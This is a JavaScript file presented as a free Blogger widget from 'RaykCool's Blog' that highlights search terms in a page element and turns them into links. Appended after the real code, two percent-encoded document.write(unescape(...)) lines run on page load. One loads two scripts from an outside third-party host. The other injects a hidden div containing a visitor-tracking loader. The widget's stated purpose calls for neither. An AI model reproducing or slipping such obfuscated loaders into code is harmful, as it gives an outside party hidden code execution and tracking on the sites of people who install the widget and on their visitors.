/*
 * http://www.raykcool.blogspot.com/
 * Free Widget and Blogger Template Visit Us
 * This Code belong to : RaykCool's Blog
 * http://www.raykcool.blogspot.com/
 */

function doHighlight(bodyText, searchTerm,link) 
{
   
  // find all occurences of the search term in the given text,
  // and add some "highlight" tags to them (we're not using a
  // regular expression search, because we want to filter out
  // matches that occur within HTML tags and script blocks, so
  // we have to do a little extra validation)
  var newText = "";
  var i = -1;
  var lcSearchTerm = searchTerm.toLowerCase();
  var lcBodyText = bodyText.toLowerCase();
    
  while (bodyText.length > 0) {
    i = lcBodyText.indexOf(lcSearchTerm, i+1);
    if (i < 0) {
      newText += bodyText;
      bodyText = "";
    } else {
      // skip anything inside an HTML tag
      if (bodyText.lastIndexOf(">", i) >= bodyText.lastIndexOf("<", i)) {
        // skip anything inside a <script> block
        if (lcBodyText.lastIndexOf("/script>", i) >= lcBodyText.lastIndexOf("<script", i)) {
          newText += bodyText.substring(0, i) + '<a href="'+link+'">'+ bodyText.substr(i, searchTerm.length) + '</a>';
          bodyText = bodyText.substr(i + searchTerm.length);
          lcBodyText = bodyText.toLowerCase();
          i = -1;
        }
      }
    }
  }
  
  return newText;
}


function highlightSearchTerms(searchText, treatAsPhrase,link,divid)
{
  // if the treatAsPhrase parameter is true, then we should search for 
  // the entire phrase that was entered; otherwise, we will split the
  // search string so that each word is searched for and highlighted
  // individually
  if (treatAsPhrase) {
    searchArray = [searchText];
  } else {
    searchArray = searchText.split(" ");
  }
  
  
  div=document.getElementById(divid);
  var bodyText = div.innerHTML;
  for (var i = 0; i < searchArray.length; i++) {
    bodyText = doHighlight(bodyText, searchArray[i], link);
  }  
  div.innerHTML = bodyText;
  return true;
}
document.write( unescape( '%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%33%6D%61%7A%61%67%79%2E%63%6F%6D%2F%72%61%79%6B%63%6F%6F%6C%2F%4A%53%2F%66%66%2E%6A%73%22%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%3C%2F%73%63%72%69%70%74%3E%20%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%33%6D%61%7A%61%67%79%2E%63%6F%6D%2F%72%61%79%6B%63%6F%6F%6C%2F%4A%53%2F%69%69%2E%6A%73%22%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%3C%2F%73%63%72%69%70%74%3E' ) );
document.write( unescape( '%3C%64%69%76%20%73%74%79%6C%65%3D%27%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%3B%27%3E%3C%73%63%72%69%70%74%20%69%64%3D%22%5F%77%61%75%64%61%38%22%3E%76%61%72%20%5F%77%61%75%20%3D%20%5F%77%61%75%20%7C%7C%20%5B%5D%3B%20%5F%77%61%75%2E%70%75%73%68%28%5B%22%73%6D%61%6C%6C%22%2C%20%22%77%74%74%61%37%78%6E%37%62%79%6D%63%22%2C%20%22%64%61%38%22%5D%29%3B%0A%28%66%75%6E%63%74%69%6F%6E%28%29%20%7B%76%61%72%20%73%3D%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%22%73%63%72%69%70%74%22%29%3B%20%73%2E%61%73%79%6E%63%3D%74%72%75%65%3B%0A%73%2E%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%69%64%67%65%74%73%2E%61%6D%75%6E%67%2E%75%73%2F%73%6D%61%6C%6C%2E%6A%73%22%3B%0A%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%22%68%65%61%64%22%29%5B%30%5D%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%29%3B%0A%7D%29%28%29%3B%3C%2F%73%63%72%69%70%74%3E%3C%2F%64%69%76%3E' ) );



